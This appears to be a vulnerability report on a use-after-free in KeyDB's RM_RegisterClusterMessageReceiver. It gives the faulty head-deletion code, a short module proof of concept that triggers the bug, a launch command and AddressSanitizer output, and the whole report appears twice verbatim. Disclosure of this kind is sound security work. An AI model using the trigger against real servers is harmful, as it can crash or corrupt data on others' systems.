Summary
RM_RegisterClusterMessageReceiver (src/module.cpp) deletes a receiver when called with a NULL callback. When the target node is the head of its type's list, the delete uses the wrong assignment and leaves the array slot pointing at freed memory:
if (prev) prev->next = r->next;
else clusterReceivers[type]->next = r->next; // BUG: clusterReceivers[type]==r here -> no-op
zfree(r); // frees the head; slot still points at it
For the head, clusterReceivers[type] == r, so clusterReceivers[type]->next = r->next is a no-op (r->next = r->next) — it never repoints the slot to the next node. zfree(r) then frees the head while clusterReceivers[type] still references it → dangling head pointer. The next register / dispatch / delete for that type dereferences freed memory → use-after-free.
KeyDB-specific: Redis uses the correct clusterReceivers[type] = r->next and is NOT affected. This is the pre-fix Valkey bug (#3846) that KeyDB still carries — an extra bug beyond the two cross-fork n-days KeyDB shares with Redis.
Affected version
KeyDB @603ebb27fb (2024-04-04).
Proof of concept
Module POC/headdel.c (single node, at load):
RedisModule_RegisterClusterMessageReceiver(ctx, 50, cb); // register (head)
RedisModule_RegisterClusterMessageReceiver(ctx, 50, NULL); // delete head -> slot dangles to freed node
RedisModule_RegisterClusterMessageReceiver(ctx, 50, cb); // re-register walks freed node -> UAF
keydb-server --port 7712 --cluster-enabled yes --loadmodule ./headdel.so
AddressSanitizer (evidence/asan-heap-use-after-free.txt):
ERROR: AddressSanitizer: heap-use-after-free ... in RM_RegisterClusterMessageReceiver module.cpp:6214
freed by thread T0 here: ... RM_RegisterClusterMessageReceiver module.cpp:6226 (head-delete zfree)
SUMMARY: AddressSanitizer: heap-use-after-free module.cpp:6214
General reachability: two modules registering the same type (list has ≥2 nodes, a real head), then the head module unregisters → dangling → next cluster message of that type dispatches through the freed node.
Summary
RM_RegisterClusterMessageReceiver (src/module.cpp) deletes a receiver when called with a NULL callback. When the target node is the head of its type's list, the delete uses the wrong assignment and leaves the array slot pointing at freed memory:
if (prev) prev->next = r->next;
else clusterReceivers[type]->next = r->next; // BUG: clusterReceivers[type]==r here -> no-op
zfree(r); // frees the head; slot still points at it
For the head, clusterReceivers[type] == r, so clusterReceivers[type]->next = r->next is a no-op (r->next = r->next) — it never repoints the slot to the next node. zfree(r) then frees the head while clusterReceivers[type] still references it → dangling head pointer. The next register / dispatch / delete for that type dereferences freed memory → use-after-free.
KeyDB-specific: Redis uses the correct clusterReceivers[type] = r->next and is NOT affected. This is the pre-fix Valkey bug (#3846) that KeyDB still carries — an extra bug beyond the two cross-fork n-days KeyDB shares with Redis.
Affected version
KeyDB @603ebb27fb (2024-04-04).
Proof of concept
Module POC/headdel.c (single node, at load):
RedisModule_RegisterClusterMessageReceiver(ctx, 50, cb); // register (head)
RedisModule_RegisterClusterMessageReceiver(ctx, 50, NULL); // delete head -> slot dangles to freed node
RedisModule_RegisterClusterMessageReceiver(ctx, 50, cb); // re-register walks freed node -> UAF
keydb-server --port 7712 --cluster-enabled yes --loadmodule ./headdel.so
AddressSanitizer (evidence/asan-heap-use-after-free.txt):
ERROR: AddressSanitizer: heap-use-after-free ... in RM_RegisterClusterMessageReceiver module.cpp:6214
freed by thread T0 here: ... RM_RegisterClusterMessageReceiver module.cpp:6226 (head-delete zfree)
SUMMARY: AddressSanitizer: heap-use-after-free module.cpp:6214
General reachability: two modules registering the same type (list has ≥2 nodes, a real head), then the head module unregisters → dangling → next cluster message of that type dispatches through the freed node.